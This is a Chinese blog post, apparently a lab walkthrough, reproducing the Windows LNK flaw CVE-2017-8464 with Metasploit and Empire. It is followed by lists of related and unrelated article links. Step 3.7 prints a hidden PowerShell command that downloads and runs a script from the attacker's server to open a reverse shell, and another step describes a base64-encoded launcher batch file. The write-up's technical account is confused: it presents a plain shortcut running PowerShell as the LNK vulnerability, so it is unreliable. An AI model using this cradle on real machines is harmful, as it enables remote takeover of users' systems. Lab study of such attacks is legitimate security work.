0x01 漏洞原理

Windows系统通过解析 .LNK 后缀文件时,是使用二进制来解析的,而当恶意的二进制代码被系统识别执行的时候就可以实现远程代码执行,由于是在explorer.exe进程中运行的,所以load进内存的时候与当前用户具有相同的权限。

于是攻击者利用这一解析过程的漏洞,将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后就会被黑客所控制。

成功利用此漏洞的攻击者可能会获得与本地用户相同的用户权限。

0x02 受影响版本

windows 7(32/64位)
windows 8(32/64位)
windows 8.1(32/64位)
windows 10(32/64位,RTM/TH2/RS1/RS2)
windows server 2008(32/64位/IA64)
windows server 2008 R2(64位/IA64)
windows server 2012
windows server 2012 R2
windows server 2016
windows Vista

0x03 漏洞利用1

运用Metasploit对目标主机所存在的漏洞进行利用。选用multi/handler监听模块,利用后可获取shell。

首先我们要准备好CVE-2017-8464的复现环境,kali虚拟机和windows server2008。

攻击机:kali IP:192.168.137.133

靶机:windows server2008 IP:192.168.137.132

3.1 打开kali终端,生成一个powershell文件

3.2 然后将生成的文件移动至/var/www/html目录下

3.3 开启apache服务

3.4 在网页尝试访问一下

3.5 访问没有问题,我们启动MSF,使用监听模块multi/handler,并配置好对应选项

3.6 然后开始监听

3.7 然后我们切换到windows server2008,创建一个快捷方式

我们在这里输入构造好的路径代码:

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.137.133/1.ps1');test.ps1"

3.8 点击下一步,然后点击完成,生成的就是一个powershell快捷方式

3.9 我们双击运行一下快捷方式,因为这个快捷方式秒退,无法截图,所以这里

就不贴图了,双击大家都会。然后我们切回kali虚拟机,发现已经反弹到了shell

0x04 漏洞利用2

4.1 使用Empire工具对Win10系统进行攻击,如下图所示:

4.2 这里会发现,帝国工具与msf有着差不多的样子。

然后我们使用Windows能够识别的脚本,即生成 .bat文件,然后立刻会存放在/tmp 下:

4.3 使用记事本打开bat脚本时,可以看到,恶意二进制代码使用base64加密:

4.4 将这个名为launcher.bat的文件在Windows中运行起来时,回到监听端口就可以看到目标主机已经上线 :

4.5 如此,Windows就获得了当前用户权限:

0x05 参考链接

1.CVE-2017-8464漏洞复现

2."震网三代" CVE-2017-8464 关于Powershell 漏洞复现

[Shell]CVE-2017-8464漏洞复现的更多相关文章

  1. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  2. 8.Struts2-057漏洞复现

    漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...

  3. Windows Shell远程执行代码漏洞((CVE-2018-8414)复现

    0x00   SettingContent-ms文件介绍 .SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设 ...

  4. [Shell]CVE-2019-0708漏洞复现及修复补丁

    0x01 漏洞原理 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,windows2003.windows2008.windows2008 R2.windows 7 ...

  5. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  6. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  7. tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现

    tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ...

  8. [漏洞复现]CVE-2018-4887 Flash 0day

    1.漏洞概述 2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878). 攻击者 ...

  9. [漏洞复现]CVE-2010-2883 Adobe Reader 打开pdf电脑即刻中招

    1.漏洞概述: CVE-2010-2883漏洞原理:“Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行.” 影 ...

随机推荐

  1. java常见排序算法

    今天去面试的时候又考了排序算法,排序这个东西,你以为你懂了,但是真正去写的时候才会发现好多细节自己都模棱两可,我写着写着就全都乱了,回来之后赶紧重新写一遍. (1)冒泡排序 public void b ...

  2. Java程序员的自我修养

    一.自我修养路线图 如图,这是笔者所走的路.且不论这路走的对不对,这个过程中行业环境会影响到你,大可不必钻牛角尖.附上这张图的目的是为了说,如果你想成为一个优秀的程序员,那么你一定要有规划.当然,别想 ...

  3. js控制台不同的打印方式

    在控制台单个输出: console.log(...):值 console.info(...):信息 console.debug(...):调试信息 console.warn(...):警告信息 con ...

  4. Linux挂载Windows文件夹

    # sudo mount -t \ -o user=username \ //Windows用户名 -o uid=myname \ //Linux用户名 -o gid=users \ -o defau ...

  5. git使用——准备工作

    参考:如何在 Git 中重置.恢复,返回到以前的状态 初次运行 Git 前的配置 安装好Git后首先要做的便是配置Git环境.每台计算机上只需要配置一次,程序升级时会保留配置信息. 你可以在任何时候再 ...

  6. Python + Selenium 主要实现的功能

    selenium 技术 元素定位的几种方法 WebDriver API ,selenium IDE,selenium grid python 技术 函数.类.方法: 读写文件, unitest单元测试 ...

  7. Codeforces Round 585

    Codeforces Round 585 浅论如何发现自己是傻子的-- 反正今天是完全蒙的,水了签到题就跑了-- A. Yellow Cards 签到题. 众所周知,CF的签到题一般是一道神神奇奇的数 ...

  8. bloomberg bulkfile【一】 文件的分类

    文章导航 bloomberg bulkfile [一]  文件的分类 bloomberg bulkfile [二]  文件解析 bloomberg bulkfile [三]  在oracle的存储 订 ...

  9. GET和POST的区别【转载】

    GET和POST是HTTP请求的两种基本方法,要说它们的区别,接触过WEB开发的人都能说出一二. 最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数. 你可能自己 ...

  10. 阿里云上遇到: virtual memory exhausted: Cannot allocate memory

    # dd if=/dev/zero of=/swap bs=1024 count=1M Format the swap file: # mkswap /swap Enable the swap fil ...